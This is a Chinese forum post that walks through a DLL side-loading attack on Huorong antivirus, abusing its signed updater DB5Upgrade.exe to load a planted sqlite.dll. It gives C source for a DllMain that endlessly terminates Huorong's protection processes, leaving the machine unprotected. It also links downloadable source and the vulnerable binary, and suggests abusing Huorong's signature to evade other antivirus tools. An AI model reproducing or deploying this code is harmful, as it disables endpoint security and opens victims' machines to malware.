|
|
本帖最后由 UnknownOoo 于 2025-1-8 22:34 编辑
嘛...先给自己套个甲:本人并非网安,计算机相关专业的(只是基于兴趣驱动),下文内容中可能会出现一些相对“愚蠢”的问题,别骂我别骂我qwq
这个漏洞并不是我第一时间发现的...而是在某微信公众号中了解到了这个利用,刚好最近有点时间就浅浅的复现下()
这种攻击手法叫“白加黑”,那么什么是“白加黑”呐,下面丢一下“白加黑”的定义:
白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数(或者找一个已有的DLL注入恶意代码)来加载DLL文件。
emmm...大白话就差不多是合法的 exe 文件在加载一些文件时因为缺少对应的文件验证,导致其错误地加载了一个攻击者“精心设计”的文件,并以 exe(通常有合法签名)的名义执行其中未经授权的行为。那这次文章中的合法 exe 文件 就是火绒的啦(被打)
利用一些工具,我们可以较为快速的筛选出一些具备利用价值的 exe 文件,于是乎,我们就发现了这个:
看文件名应该是火绒升级相关的组件(?),检查了下导入表后发现,DB5Upgrade.exe 除了导入了KERNEL32.dll、ADVAPI32.dll 和
SHLWAPI.dll 系统DLL后,还导入了 sqlite.dll 这个非系统DLL,并且还不存在嵌套调用其他DLL,
这说明只需要这个 exe 和一个名为“sqlite”的DLL就能实现利用。
另外这个工具还很贴心的帮我们处理了其他导出函数以防止报错:
好滴,那么...开写!
- #include "pch.h"
- #include "dll.h"
- BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
- switch (ul_reason_for_call) {
- case DLL_PROCESS_ATTACH:
- MessageBoxW(NULL, L"test1", L"INFO", MB_OK);
- break;
- case DLL_PROCESS_DETACH:
- MessageBoxW(NULL, L"test2", L"INFO", MB_OK);
- break;
- case DLL_THREAD_ATTACH:
- MessageBoxW(NULL, L"test3", L"INFO", MB_OK);
- break;
- case DLL_THREAD_DETACH:
- MessageBoxW(NULL, L"test4", L"INFO", MB_OK);
- break;
- }
- return TRUE;
- }
复制代码
这是一个最基本的DLL入口函数,当DLL被加载时会执行 switch 语法中的 DLL_PROCESS_ATTACH 分支,其中 MessageBoxW 函数作用是弹出一个对话框,因为这个不是重点...就不讲里面各个参数的作用了。
编译,完成!(这里已经把前面处理其他导出函数的extern语句丢进头文件哩)
然后我们把这个编译出的DLL和那个exe单独拎到一个目录下(这里和参考文章中的做法有点不一样了...参考文章中用到了进程注入和地狱之门...某种意义上来说,火绒又没有API监控...用SysCall欺负火绒也太大材小用了...)后运行...成功了!
接下来的话嘛...嘿嘿嘿,既然是火绒的更新程序,那么为了更新火绒而"重启"火绒进程应该不过分吧()
那么直接...丢代码!
- BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
- HANDLE lp = NULL;
- int PID = NULL;
- char INFO[80] = "";
- const wchar_t* ProcessName[4] = { L"HipsTray.exe",L"TrafficProt.exe",L"HipsDaemon.exe",L"HipsMain.exe" };
- switch (ul_reason_for_call) {
- case DLL_PROCESS_ATTACH:
- if (!IsRunningAsAdmin()) {
- MessageBoxW(NULL, L"没有获取到管理员权限,仅能结束部分进程.", L"INFO", MB_OK);
- }
- while (1) {
- for (int i = 0; i < 4; i++) {
- PID = GetPIDByProcName(ProcessName[i]);
- if (PID != NULL) {
- lp = OpenProcess(PROCESS_TERMINATE, FALSE, PID);
- PID = NULL;
- if (lp == NULL) {
- sprintf_s(INFO, "进程:%ls 句柄获取失败!\r\n", ProcessName[i]);
- printf(INFO);
- memset(INFO, 0x00, sizeof(INFO));
- continue;
- }
- if (TerminateProcess(lp, NULL) == 0) {
- sprintf_s(INFO, "进程:%ls 结束失败!\r\n", ProcessName[i]);
- printf(INFO);
- memset(INFO, 0x00, sizeof(INFO));
- CloseHandle(lp);
- }
- }
- }
- Sleep(3000);
- }
- break;
- case DLL_PROCESS_DETACH:
- MessageBoxW(NULL, L"test2", L"INFO", MB_OK);
- break;
- case DLL_THREAD_ATTACH:
- MessageBoxW(NULL, L"test3", L"INFO", MB_OK);
- break;
- case DLL_THREAD_DETACH:
- MessageBoxW(NULL, L"test4", L"INFO", MB_OK);
- break;
- }
- return TRUE;
- }
复制代码
这段代码的主要逻辑就是加载DLL后,先判断是否是管理员权限,如果不是的话弹一个窗告诉用户(?),然后就进入一个while(1)的死循环,在循环中不停地通过获取 ProcessName 数组中的进程句柄,使用 TerminateProcess 函数终止进程。
其中 GetPIDByProcName 函数是通过遍历系统快照来获取对应进程的PID,IsRunningAsAdmin 函数是检查当前进程是否以管理员权限运行,由于这些不是重点,我这边就不讲了(懒)
这里给一下演示效果()
以普通用户权限运行 DB5Upgrade.exe(测试火绒版本:6.0.5.0):
以管理员权限运行 DB5Upgrade.exe(测试火绒版本:6.0.5.0):
后者火绒失去全部防护能力...其实还可以在火绒存活时写入/修改火绒目录,利用火绒签名绕过其他杀毒软件的一些防护等等...其他发挥部分交给评论区啦()
整体代码量较大...就以 .c/.h 文件的形式上传吧(DB5Upgrade.exe也顺便上传下):
Src.zip
(2.81 KB, 下载次数: 13)
VulnerableEXE.zip
(145.28 KB, 下载次数: 29)
参考文章地址:【免杀实战】 - 低权限kill火绒,让火绒6.0内存扫描形同虚设
|
|